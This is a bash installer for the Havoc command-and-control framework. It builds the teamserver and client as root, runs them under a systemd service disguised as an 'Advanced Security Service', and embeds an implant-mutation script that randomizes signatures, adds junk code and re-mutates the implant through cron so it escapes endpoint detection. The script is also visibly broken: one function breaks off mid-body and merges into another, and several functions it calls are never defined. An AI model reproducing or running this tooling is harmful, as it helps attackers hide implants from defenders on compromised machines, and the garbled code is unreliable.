#!/bin/bash # Streamlined Havoc C2 Framework installer with EDR evasion features # This script automatically installs Havoc and prepares it for configuration set -e TEMP_DIR=$(mktemp -d) LOG_FILE="/root/Tools/havoc_installer.log" HAVOC_DIR="/root/Tools/havoc" HAVOC_DATA_DIR="/root/Tools/havoc/data" COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz" COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross" COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc" IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh" # Function to log messages log() { echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE } # Function to generate random strings random_string() { local length=${1:-16} cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 } # Generate random build ID for implant signature RANDOMIZED_BUILD_ID=$(random_string 16) # Install required dependencies log "Installing dependencies..." apt-get update >/dev/null 2>&1 apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \ ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \ libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \ libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \ qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \ libqt5websockets5-dev binutils-dev wget >/dev/null 2>&1 # Setup Go environment log "Setting up Go environment..." mkdir -p /root/go export GOPATH=/root/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin # Download and install compiler fix log "Downloading and installing fixed compiler..." if [ ! -d "$COMPILER_DIR" ]; then # Download the compiler wget -q -O /tmp/compiler.tgz $COMPILER_URL # Extract to /usr/bin tar -xzf /tmp/compiler.tgz -C /usr/bin # Verify compiler exists if [ -f "$COMPILER_PATH" ]; then log "Compiler installed successfully at $COMPILER_PATH" chmod +x $COMPILER_PATH else log "Error: Compiler installation failed. File not found at $COMPILER_PATH" fi # Clean up rm -f /tmp/compiler.tgz else log "Compiler already installed at $COMPILER_DIR" fi # Clone Havoc repository log "Cloning Havoc repository..." if [ -d "$HAVOC_DIR" ]; then log "Havoc directory already exists, updating..." cd $HAVOC_DIR git pull else git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR cd $HAVOC_DIR fi # Create data directories mkdir -p $HAVOC_DATA_DIR mkdir -p $HAVOC_DIR/payloads mkdir -p $HAVOC_DIR/payloads/backup # Apply source mutations first (before building) log "Applying implant mutations with signature: $RANDOMIZED_BUILD_ID" # We'll skip the metadata.go modification since it's not essential # Create implant mutator script log "Creating implant mutator script..." cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF' #!/bin/bash # Havoc Implant Mutation Tool # Randomizes critical implant signatures to avoid detection # === CONFIG === HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}" IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon" SRC_DIR="$IMPLANT_DIR/src" OUTPUT_DIR="$HAVOC_ROOT/payloads" OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin" BACKUP_DIR="$OUTPUT_DIR/backup" TIMESTAMP=$(date +"%Y%m%d_%H%M%S") CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak" LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log" # === ADVANCED OPTIONS === RANDOMIZE_STRINGS=true # Randomize identifiers RANDOMIZE_FUNCTIONS=true # Randomize function names RANDOMIZE_IMPORTS=true # Randomize import tables RANDOMIZE_SECTIONS=true # Randomize PE section names RANDOMIZE_RESOURCES=true # Randomize resource values ADD_JUNK_CODE=true # Add harmless junk code ADD_STACK_STRINGS=true # Use stack strings for sensitive strings # === COLORS === RED='\033[1;31m' YELLOW='\033[1;33m' GREEN='\033[1;32m' BLUE='\033[1;34m' NC='\033[0m' # === UTILITY FUNCTIONS === log() { echo -e "$1" | tee -a "$LOG_FILE" } random_str() { local length=${1:-12} tr -dc 'A-Za-z0-9' > "$C_FILE" # Add junk global variable local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";" sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE" log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}" fi done if ! $FOUND; then log "${YELLOW}[!] No C files found to add junk code.${NC}" fi } randomize_function_names() { if ! $RANDOMIZE_FUNCTIONS; then return fi local H_FILES=$(find "$SRC_DIR" -name "*.h") local FOUND=false for H_FILE in $H_FILES; do if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then FOUND=true # Get function declarations local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1) for FUNC in $FUNCTIONS; do if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then local NEW_FUNC="${FUNC}_$(random_str 4)" # Replace in header file sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE" # Find and replace in all .c files find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \; log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}" fi done fi done if ! $FOUND; then log "${YELLOW}[!] No header files found to randomize function names.${NC}" fi } # === BUILD FUNCTION === rebuild_implant() { log "${YELLOW}[+] Rebuilding Havoc payload...${NC}" # Check if we should use make from the project root if [ -f "$HAVOC_ROOT/Makefile" ]; then cd "$HAVOC_ROOT" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at project root level${NC}" return 1 fi # Otherwise try to build just the implant elif [ -f "$IMPLANT_DIR/Makefile" ]; then cd "$IMPLANT_DIR" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at implant level${NC}" return 1 fi else log "${RED}[!] No Makefile found to build the implant${NC}" return 1 fi # Verify the shellcode was generated if [[ -f "$OUTPUT_FILE" ]]; then log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}" # Calculate hash for verification local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1) log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}" # Optional: Compare with previous hash if a backup exists local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw" if [[ -f "$BACKUP_FILE" ]]; then local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1) if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}" else log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}" fi fi return 0 else log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}" return 1 fi } # === AUTO-SCHEDULING FUNCTION === setup_auto_mutation() { local SCRIPT_PATH=$(realpath "$0") local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1" # Check if already in crontab if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}" return fi # Add to crontab (crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab - if [ $? -eq 0 ]; then log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}" else log "${RED}[!] Failed to schedule auto-mutation${NC}" fi } # === MAIN EXECUTION === main() { # Create directories mkdir -p "$BACKUP_DIR" mkdir -p "$OUTPUT_DIR" # Start log file echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE" log "${BLUE}════════════════════════════════════════════${NC}" log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Check for Havoc installation if [ ! -d "$HAVOC_ROOT" ]; then log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}" log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}" exit 1 fi # Backup everything first log "${YELLOW}[+] Backing up current implant and source files...${NC}" backup_sources # Start mutations log "${YELLOW}[+] Starting implant mutations...${NC}" # Apply all mutation types mutate_transport_http mutate_named_resources mutate_memory_strings mutate_config_file # Advanced mutations if $ADD_JUNK_CODE; then add_junk_code fi if $RANDOMIZE_FUNCTIONS; then randomize_function_names fi # Rebuild the implant rebuild_implant # Show completion summary log "${BLUE}════════════════════════════════════════════${NC}" log "${GREEN}[✓] Implant mutation completed successfully!${NC}" log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}" log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Ask about auto-scheduling if [ -t 0 ]; then # Only if running interactively read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO if [ "$SETUP_AUTO" = "y" ]; then setup_auto_mutation fi fi } # Parse command line arguments while [[ $# -gt 0 ]]; do case $1 in --auto-schedule) setup_auto_mutation exit 0 ;; --no-junk) ADD_JUNK_CODE=false shift ;; --no-functions) RANDOMIZE_FUNCTIONS=false shift ;; --config-only) # Only modify the config file mkdir -p "$BACKUP_DIR" backup_sources mutate_config_file exit 0 ;; --help) echo "Usage: $0 [options]" echo "Options:" echo " --auto-schedule Setup automatic mutation via crontab" echo " --no-junk Don't add junk code to source files" echo " --no-functions Don't randomize function names" echo " --config-only Only modify the configuration file" echo " --help Show this help message" echo "" echo "Environment variables:" echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)" exit 0 ;; *) echo "Unknown option: $1" echo "Use --help for usage information" exit 1 ;; esac done # Execute main logic main EOF chmod +x "$IMPLANT_MUTATOR_SCRIPT" # Build Havoc teamserver with custom compiler flags log "Building Havoc teamserver..." cd $HAVOC_DIR/teamserver export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)" go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o havoc main.go # Build Havoc client log "Building Havoc client..." cd $HAVOC_DIR/client mkdir -p build cd build cmake -GNinja .. ninja # Create systemd service for Havoc log "Creating systemd service for Havoc Teamserver..." cat > /etc/systemd/system/havoc.service << EOF [Unit] Description=Advanced Security Service After=network.target [Service] Type=simple User=root Group=root WorkingDirectory=$HAVOC_DIR/teamserver ExecStart=$HAVOC_DIR/teamserver/havoc server -d Restart=always RestartSec=10 # Security measures PrivateTmp=true ProtectHome=false NoNewPrivileges=true [Install] WantedBy=multi-user.target EOF # Set proper permissions log "Setting proper permissions..." chmod 755 $HAVOC_DIR/teamserver/havoc chmod 755 $HAVOC_DIR/client/havoc # Create symlinks to executables in /usr/local/bin ln -sf $HAVOC_DIR/teamserver/havoc /usr/local/bin/havoc-server ln -sf $HAVOC_DIR/client/havoc /usr/local/bin/havoc-client ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate # Run the implant mutator log "Running initial implant mutation..." $IMPLANT_MUTATOR_SCRIPT --no-functions # Enable and start Havoc service log "Enabling and starting Havoc service..." systemctl daemon-reload systemctl enable havoc systemctl start havoc log "Havoc C2 installation completed successfully!" log "Use the template-based configuration for additional setup."